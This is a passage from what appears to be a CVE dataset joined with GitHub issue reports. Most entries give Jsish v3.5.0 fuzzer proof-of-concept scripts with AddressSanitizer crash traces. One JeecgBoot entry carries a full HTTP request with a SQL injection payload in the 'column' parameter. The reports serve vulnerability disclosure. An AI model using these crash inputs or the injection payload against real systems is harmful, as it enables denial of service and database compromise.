00 00 00 00 00 00 00 00 0x0c4a7fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==52181==ABORTING ``` Credits: Found by OWL337 team.

Heap-buffer-overflow src/jsiEval.c:120 in jsiClearStack

https://api.github.com/repos/pcmacdon/jsish/issues/60/comments

2021-12-24T09:50:51Z

2022-01-12T02:12:56Z

https://github.com/pcmacdon/jsish/issues/60

CVE-2021-46480

2022-01-25T01:15:07.970

Jsish v3.5.0 was discovered to contain a heap buffer overflow via jsiValueObjDelete in src/jsiEval.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/61

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var arr = []; arr.x = 0; delete arr[assert(hasProperty, 'hasProperty !== true')]; for (var i = 0; i < 2; ++i) arr.unshift(i); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600000df38 at pc 0x5566ebe0b2f9 bp 0x7fffd0654660 sp 0x7fffd0654650 READ of size 8 at 0x60600000df38 thread T0 #0 0x5566ebe0b2f8 in jsiValueObjDelete src/jsiEval.c:464 #1 0x5566ebe0b2f8 in jsiEvalCodeSub src/jsiEval.c:1885 #2 0x5566ebe1915e in jsi_evalcode src/jsiEval.c:2204 #3 0x5566ebe1d274 in jsi_evalStrFile src/jsiEval.c:2665 #4 0x5566ebb0c66a in Jsi_Main src/jsiInterp.c:936 #5 0x5566ec31103a in jsi_main src/main.c:47 #6 0x7fbbb1d73bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #7 0x5566ebaa0969 in _start (/usr/local/bin/jsish+0xe8969) Address 0x60600000df38 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiEval.c:464 in jsiValueObjDelete Shadow bytes around the buggy address: 0x0c0c7fff9b90: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa 0x0c0c7fff9ba0: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd 0x0c0c7fff9bb0: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd 0x0c0c7fff9bc0: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa 0x0c0c7fff9bd0: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00 =>0x0c0c7fff9be0: 00 00 00 fa fa fa fa[fa]fa fa fa fa fa fa fa fa 0x0c0c7fff9bf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ``` Credits: Found by OWL337 team.

Heap-buffer-overflow src/jsiEval.c:464 in jsiValueObjDelete

https://api.github.com/repos/pcmacdon/jsish/issues/61/comments

2021-12-24T10:30:42Z

2022-01-12T02:13:11Z

https://github.com/pcmacdon/jsish/issues/61

CVE-2021-46481

2022-01-25T01:15:08.010

Jsish v3.5.0 was discovered to contain a memory leak via linenoise at src/linenoise.c.

https://github.com/pcmacdon/jsish/issues/55

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var JSEtest = [ 'aa', 'bb', 'hhh' ]; try { Number.bind(console.input('listNum' + JSEtest), 4)(); } catch (e) {}; try { (1 >> y).toFixed.bind(2, 4)(); } catch (e) {}; (1 >> y).toFixed.bind(2, 4)(); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js listNum [object Object] /home/user/poc.js:10: error: apply Number.toFixed to a non-number object ERROR: ================================================================= ERROR: LeakSanitizer: detected memory leaks Direct leak of 1 byte(s) in 1 object(s) allocated from: #0 0x7f0e5412d538 in strdup (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x77538) #1 0x56523c6594ad in linenoise src/linenoise.c:1061 SUMMARY: AddressSanitizer: 1 byte(s) leaked in 1 allocation(s). ``` Credits: Found by OWL337 team.

Memory leaks in linenoise src/linenoise.c:1061

https://api.github.com/repos/pcmacdon/jsish/issues/55/comments

2021-12-24T09:44:48Z

2022-01-12T02:11:57Z

https://github.com/pcmacdon/jsish/issues/55

CVE-2021-46482

2022-01-25T01:15:08.050

Jsish v3.5.0 was discovered to contain a heap buffer overflow via NumberConstructor at src/jsiNumber.c.

https://github.com/pcmacdon/jsish/issues/66

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var a = [ [0] ]; var actual = (Number).bind("abcdab", [ [0] ].indexOf("abcdab", 99))(); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000018b40 at pc 0x55803d35220a bp 0x7fff119980c0 sp 0x7fff119980b0 WRITE of size 4 at 0x604000018b40 thread T0 #0 0x55803d352209 in NumberConstructor src/jsiNumber.c:93 #1 0x55803d325818 in jsi_FuncCallSub src/jsiProto.c:244 #2 0x55803d2a2fec in jsi_FunctionInvoke src/jsiFunc.c:777 #3 0x55803d2a2fec in Jsi_FunctionInvoke src/jsiFunc.c:789 #4 0x55803d31ead6 in jsi_FuncBindCall src/jsiProto.c:299 #5 0x55803d325818 in jsi_FuncCallSub src/jsiProto.c:244 #6 0x55803d5ef71a in jsiFunctionSubCall src/jsiEval.c:796 #7 0x55803d5ef71a in jsiEvalFunction src/jsiEval.c:837 #8 0x55803d5ef71a in jsiEvalCodeSub src/jsiEval.c:1264 #9 0x55803d60315e in jsi_evalcode src/jsiEval.c:2204 #10 0x55803d607274 in jsi_evalStrFile src/jsiEval.c:2665 #11 0x55803d2f666a in Jsi_Main src/jsiInterp.c:936 #12 0x55803dafb03a in jsi_main src/main.c:47 #13 0x7ff56e70cbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #14 0x55803d28a969 in _start (/usr/local/bin/jsish+0xe8969) 0x604000018b40 is located 1 bytes to the right of 47-byte region [0x604000018b10,0x604000018b3f) allocated by thread T0 here: #0 0x7ff56f37bd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x55803d2fbaa4 in Jsi_Calloc src/jsiUtils.c:57 SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiNumber.c:93 in NumberConstructor Shadow bytes around the buggy address: 0x0c087fffb110: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 00 0x0c087fffb120: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fffb130: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fffb140: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 07 0x0c087fffb150: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa =>0x0c087fffb160: fa fa 00 00 00 00 00 07[fa]fa 00 00 00 00 00 00 0x0c087fffb170: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fffb180: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fffb190: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fffb1a0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa 0x0c087fffb1b0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ``` Credits: Found by OWL337 team.

Heap-buffer-overflow src/jsiNumber.c:93 in NumberConstructor

https://api.github.com/repos/pcmacdon/jsish/issues/66/comments

2021-12-24T10:35:07Z

2022-01-12T02:14:08Z

https://github.com/pcmacdon/jsish/issues/66

CVE-2021-46483

2022-01-25T01:15:08.090

Jsish v3.5.0 was discovered to contain a heap buffer overflow via BooleanConstructor at src/jsiBool.c.

https://github.com/pcmacdon/jsish/issues/62

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript function JSEtest(val) { Boolean.bind(a)(); if (val < 3) return true; else return false; } var arr = new Array(10); arr[1] = 1; Array.prototype.unshift(arr.every(JSEtest), true, 'test'); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js =====ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040000188c0 at pc 0x55dff29d9510 bp 0x7ffc8e20b280 sp 0x7ffc8e20b270 WRITE of size 4 at 0x6040000188c0 thread T0 #0 0x55dff29d950f in BooleanConstructor src/jsiBool.c:17 #1 0x55dff29af818 in jsi_FuncCallSub src/jsiProto.c:244 #2 0x55dff292cfec in jsi_FunctionInvoke src/jsiFunc.c:777 #3 0x55dff292cfec in Jsi_FunctionInvoke src/jsiFunc.c:789 #4 0x55dff29a8ad6 in jsi_FuncBindCall src/jsiProto.c:299 #5 0x55dff29af818 in jsi_FuncCallSub src/jsiProto.c:244 #6 0x55dff2c7971a in jsiFunctionSubCall src/jsiEval.c:796 #7 0x55dff2c7971a in jsiEvalFunction src/jsiEval.c:837 #8 0x55dff2c7971a in jsiEvalCodeSub src/jsiEval.c:1264 #9 0x55dff2c8d15e in jsi_evalcode src/jsiEval.c:2204 #10 0x55dff29b0834 in jsi_FuncCallSub src/jsiProto.c:220 #11 0x55dff292cfec in jsi_FunctionInvoke src/jsiFunc.c:777 #12 0x55dff292cfec in Jsi_FunctionInvoke src/jsiFunc.c:789 #13 0x55dff29f3f64 in jsi_ArrayFindSubCmd src/jsiArray.c:576 #14 0x55dff29f3f64 in jsi_ArrayEveryCmd src/jsiArray.c:663 #15 0x55dff29af818 in jsi_FuncCallSub src/jsiProto.c:244 #16 0x55dff2c7971a in jsiFunctionSubCall src/jsiEval.c:796 #17 0x55dff2c7971a in jsiEvalFunction src/jsiEval.c:837 #18 0x55dff2c7971a in jsiEvalCodeSub src/jsiEval.c:1264 #19 0x55dff2c8d15e in jsi_evalcode src/jsiEval.c:2204 #20 0x55dff2c91274 in jsi_evalStrFile src/jsiEval.c:2665 #21 0x55dff298066a in Jsi_Main src/jsiInterp.c:936 #22 0x55dff318503a in jsi_main src/main.c:47 #23 0x7fb189dc7bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #24 0x55dff2914969 in _start (/usr/local/bin/jsish+0xe8969) 0x6040000188c0 is located 6 bytes to the right of 42-byte region [0x604000018890,0x6040000188ba) allocated by thread T0 here: #0 0x7fb18aa36d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x55dff2985aa4 in Jsi_Calloc src/jsiUtils.c:57 SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiBool.c:17 in BooleanConstructor Shadow bytes around the buggy address: 0x0c087fffb0c0: fa fa 00 00 00 00 00 06 fa fa 00 00 00 00 00 00 0x0c087fffb0d0: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 00 0x0c087fffb0e0: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa 0x0c087fffb0f0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa 0x0c087fffb100: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa =>0x0c087fffb110: fa fa 00 00 00 00 00 02[fa]fa 00 00 00 00 00 00 0x0c087fffb120: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fffb130: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fffb140: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fffb150: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa 0x0c087fffb160: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ``` Credits: Found by OWL337 team.

Heap-buffer-overflow src/jsiBool.c:17 in BooleanConstructor

https://api.github.com/repos/pcmacdon/jsish/issues/62/comments

2021-12-24T10:31:27Z

2022-01-12T02:13:25Z

https://github.com/pcmacdon/jsish/issues/62

CVE-2021-46089

2022-01-25T15:15:08.203

In JeecgBoot 3.0, there is a SQL injection vulnerability that can operate the database with root privileges.

https://github.com/jeecgboot/jeecg-boot/issues/3331

github.com

##### version: <=3.0 ##### precondition: After logged in the website,click 流程管理 proxy burp,the parameter "column" can be made SQL injection. ##### Screenshot & code : <img width="1240" alt="图片" src="https://user-images.githubusercontent.com/25843151/147641725-71a3c7a3-c4d4-41f8-af76-b875641e2cbf.png"> poc: ```GET /act/process/extActExpression/list?_t=1637890565&column=extractvalue(1,concat(char(126),user()))&order=desc&field=id,,,name,expression,action&pageNo=1&pageSize=10 HTTP/1.1 Host: api.boot.jeecg.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Sign: 7AE7A7990565A3187D8CE30725C82718 X-Timestamp: 20211229152402 X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDA3NjI2NTMsInVzZXJuYW1lIjoiamVlY2cifQ.SX0HjEOmrGFDZt-oNUUOlTNYn9ftCOmhQIOgED9HZRM Tenant-Id: 2 Origin: http://boot.jeecg.com Referer: http://boot.jeecg.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers Connection: close ```

There is an SQL injection vulnerability that can operate the database with root privileges.

https://api.github.com/repos/jeecgboot/JeecgBoot/issues/3331/comments

2021-12-29T08:36:51Z

2022-01-21T02:04:30Z

https://github.com/jeecgboot/JeecgBoot/issues/3331

CVE-2021-46484

2022-01-27T21:15:08.343

Jsish v3.5.0 was discovered to contain a heap-use-after-free via Jsi_IncrRefCount in src/jsiValue.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/73

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case1 ```javascript function JSEtest(assert) { (arr.concat([]), false, 'JSEtest'); } var arr = /x?y?z?/.exec("abcd"); arr[arr[arr['JSEtest'[arr[1000] = 3]] = 3] = 3](arr.every(JSEtest), false, 'JSEtest'); ``` ###### Test case2 ```javascript var list = [ 'aa', 'bb', 'cc', 'dd', 'hhh', 'mm', 'nn' ]; 'sort:' + list.sort(function (_str, position) { var s = 'sort:' + list.sort(function (str, position) { var s = 'shift:' + list.shift(); }) + list.shift(); }); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ==114358==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000007060 at pc 0x556541bb6a68 bp 0x7ffd4e8abbc0 sp 0x7ffd4e8abbb0 READ of size 4 at 0x603000007060 thread T0 #0 0x556541bb6a67 in Jsi_IncrRefCount src/jsiValue.c:34 #1 0x556541d0aab5 in Jsi_ObjNewArray src/jsiObj.c:480 #2 0x556541c75f14 in jsi_ArrayFindSubCmd src/jsiArray.c:573 #3 0x556541c75f14 in jsi_ArrayEveryCmd src/jsiArray.c:663 #4 0x556541c31818 in jsi_FuncCallSub src/jsiProto.c:244 #5 0x556541efb71a in jsiFunctionSubCall src/jsiEval.c:796 #6 0x556541efb71a in jsiEvalFunction src/jsiEval.c:837 #7 0x556541efb71a in jsiEvalCodeSub src/jsiEval.c:1264 #8 0x556541f0f15e in jsi_evalcode src/jsiEval.c:2204 #9 0x556541f13274 in jsi_evalStrFile src/jsiEval.c:2665 #10 0x556541c0266a in Jsi_Main src/jsiInterp.c:936 #11 0x55654240703a in jsi_main src/main.c:47 #12 0x7f7e9588dbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #13 0x556541b96969 in _start (/usr/local/bin/jsish+0xe8969) 0x603000007060 is located 0 bytes inside of 32-byte region [0x603000007060,0x603000007080) freed by thread T0 here: #0 0x7f7e964fc7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8) #1 0x556541bb76cf in Jsi_DecrRefCount src/jsiValue.c:52 previously allocated by thread T0 here: #0 0x7f7e964fcd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x556541c07aa4 in Jsi_Calloc src/jsiUtils.c:57 SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:34 in Jsi_IncrRefCount Shadow bytes around the buggy address: 0x0c067fff8db0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x0c067fff8dc0: fd fd fa fa 00 00 04 fa fa fa 00 00 04 fa fa fa 0x0c067fff8dd0: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fff8de0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8df0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa =>0x0c067fff8e00: fd fd fd fd fa fa 00 00 00 00 fa fa[fd]fd fd fd 0x0c067fff8e10: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8e20: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8e30: 00 00 00 00 fa fa 00 00 00 00 fa fa fa fa fa fa 0x0c067fff8e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c067fff8e50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ```

Heap-use-after-free src/jsiValue.c:34 in Jsi_IncrRefCount

https://api.github.com/repos/pcmacdon/jsish/issues/73/comments

2021-12-24T10:41:10Z

2021-12-28T03:39:04Z

https://github.com/pcmacdon/jsish/issues/73

CVE-2021-46485

2022-01-27T21:15:08.427

Jsish v3.5.0 was discovered to contain a SEGV vulnerability via Jsi_ValueIsNumber at src/jsiValue.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/70

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var JSEtest = new Array(10); JSEtest[1] = 1; JSEtest.reduceRight(String.fromCharCode); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ASAN:DEADLYSIGNAL ================================================================= ==113736==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x55586e9b4734 bp 0x000000000001 sp 0x7ffdbb663540 T0) ==113736==The signal is caused by a READ memory access. ==113736==Hint: address points to the zero page. #0 0x55586e9b4733 in Jsi_ValueIsNumber src/jsiValue.c:418 #1 0x55586ea50b7f in StringFromCharCodeCmd src/jsiString.c:286 #2 0x55586ea2c818 in jsi_FuncCallSub src/jsiProto.c:244 #3 0x55586e9a9fec in jsi_FunctionInvoke src/jsiFunc.c:777 #4 0x55586e9a9fec in Jsi_FunctionInvoke src/jsiFunc.c:789 #5 0x55586ea6e851 in jsi_ArrayReduceSubCmd src/jsiArray.c:641 #6 0x55586ea6e851 in jsi_ArrayReduceRightCmd src/jsiArray.c:672 #7 0x55586ea2c818 in jsi_FuncCallSub src/jsiProto.c:244 #8 0x55586ecf671a in jsiFunctionSubCall src/jsiEval.c:796 #9 0x55586ecf671a in jsiEvalFunction src/jsiEval.c:837 #10 0x55586ecf671a in jsiEvalCodeSub src/jsiEval.c:1264 #11 0x55586ed0a15e in jsi_evalcode src/jsiEval.c:2204 #12 0x55586ed0e274 in jsi_evalStrFile src/jsiEval.c:2665 #13 0x55586e9fd66a in Jsi_Main src/jsiInterp.c:936 #14 0x55586f20203a in jsi_main src/main.c:47 #15 0x7ffa096e4bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #16 0x55586e991969 in _start (/usr/local/bin/jsish+0xe8969) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/jsiValue.c:418 in Jsi_ValueIsNumber ``` Credits: Found by OWL337 team.

SEGV src/jsiValue.c:418 in Jsi_ValueIsNumber

https://api.github.com/repos/pcmacdon/jsish/issues/70/comments

2021-12-24T10:38:22Z

2022-01-12T02:15:00Z

https://github.com/pcmacdon/jsish/issues/70

CVE-2021-46486

2022-01-27T21:15:08.470

Jsish v3.5.0 was discovered to contain a SEGV vulnerability via jsi_ArraySpliceCmd at src/jsiArray.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/65

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var myColors = new Array(99999); var lastElement = myColors.push('yellow'); myColors.push('yellow'); var firstElement = myColors.shift(); myColors.splice('pink'); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js /poc.js:5: error: invalid number ASAN:DEADLYSIGNAL ================================================================= ==825==ERROR: AddressSanitizer: SEGV on unknown address 0x60c0000dc4f0 (pc 0x555a355a5e18 bp 0x7ffcd17c49b0 sp 0x7ffcd17c4960 T0) ==825==The signal is caused by a WRITE memory access. #0 0x555a355a5e17 in jsi_ArraySpliceCmd src/jsiArray.c:1172 #1 0x555a35574818 in jsi_FuncCallSub src/jsiProto.c:244 #2 0x555a3583e71a in jsiFunctionSubCall src/jsiEval.c:796 #3 0x555a3583e71a in jsiEvalFunction src/jsiEval.c:837 #4 0x555a3583e71a in jsiEvalCodeSub src/jsiEval.c:1264 #5 0x555a3585215e in jsi_evalcode src/jsiEval.c:2204 #6 0x555a35856274 in jsi_evalStrFile src/jsiEval.c:2665 #7 0x555a3554566a in Jsi_Main src/jsiInterp.c:936 #8 0x555a35d4a03a in jsi_main src/main.c:47 #9 0x7fb00f1a5bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #10 0x555a354d9969 in _start (/usr/local/bin/jsish+0xe8969) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/jsiArray.c:1172 in jsi_ArraySpliceCmd ``` Credits: Found by OWL337 team.

SEGV src/jsiArray.c:1172 in jsi_ArraySpliceCmd

https://api.github.com/repos/pcmacdon/jsish/issues/65/comments

2021-12-24T10:34:07Z

2022-01-12T02:13:57Z

https://github.com/pcmacdon/jsish/issues/65

CVE-2021-46487

2022-01-27T21:15:08.517

Jsish v3.5.0 was discovered to contain a SEGV vulnerability via /lib/x86_64-linux-gnu/libc.so.6+0x18e506. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/72

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var lastIndexReads; var result; var r = /a/g; function JSEtest(_value) { r.lastIndex = -Infinity; lastIndexReads = 0; } JSEtest(9); result = r.exec('abc'); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ASAN:DEADLYSIGNAL ================================================================= ==119220==ERROR: AddressSanitizer: SEGV on unknown address 0x603f80019c20 (pc 0x7f2d155e4507 bp 0x000000000000 sp 0x7ffd01763808 T0) ==119220==The signal is caused by a READ memory access. #0 0x7f2d155e4506 (/lib/x86_64-linux-gnu/libc.so.6+0x18e506) #1 0x7f2d15557743 in regexec (/lib/x86_64-linux-gnu/libc.so.6+0x101743) #2 0x562082528c68 in jsi_RegExpMatches src/jsiRegexp.c:235 #3 0x56208252a51b in RegexpExecCmd src/jsiRegexp.c:323 #4 0x562082585818 in jsi_FuncCallSub src/jsiProto.c:244 #5 0x56208284f71a in jsiFunctionSubCall src/jsiEval.c:796 #6 0x56208284f71a in jsiEvalFunction src/jsiEval.c:837 #7 0x56208284f71a in jsiEvalCodeSub src/jsiEval.c:1264 #8 0x56208286315e in jsi_evalcode src/jsiEval.c:2204 #9 0x562082867274 in jsi_evalStrFile src/jsiEval.c:2665 #10 0x56208255666a in Jsi_Main src/jsiInterp.c:936 #11 0x562082d5b03a in jsi_main src/main.c:47 #12 0x7f2d15477bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #13 0x5620824ea969 in _start (/usr/local/bin/jsish+0xe8969) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e506) ``` Credits: Found by OWL337 team.

SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e506)

https://api.github.com/repos/pcmacdon/jsish/issues/72/comments

2021-12-24T10:39:45Z

2022-01-12T02:15:13Z

https://github.com/pcmacdon/jsish/issues/72

CVE-2021-46488

2022-01-27T21:15:08.560

Jsish v3.5.0 was discovered to contain a SEGV vulnerability via jsi_ArrayConcatCmd at src/jsiArray.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/68

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var i = 0; function JSEtest() { arr[arr[1000] = 3] = 3; i++; } var arr = new Array(10); arr[2] = 2; arr.concat(JSEtest); (arr.reduceRight(arr.concat), 0, '1'); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ASAN:DEADLYSIGNAL ================================================================= ==121369==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x563e6997e690 bp 0x00000000000a sp 0x7ffcb3c19980 T0) ==121369==The signal is caused by a READ memory access. ==121369==Hint: address points to the zero page. #0 0x563e6997e68f in jsi_ArrayConcatCmd src/jsiArray.c:311 #1 0x563e69943818 in jsi_FuncCallSub src/jsiProto.c:244 #2 0x563e698c0fec in jsi_FunctionInvoke 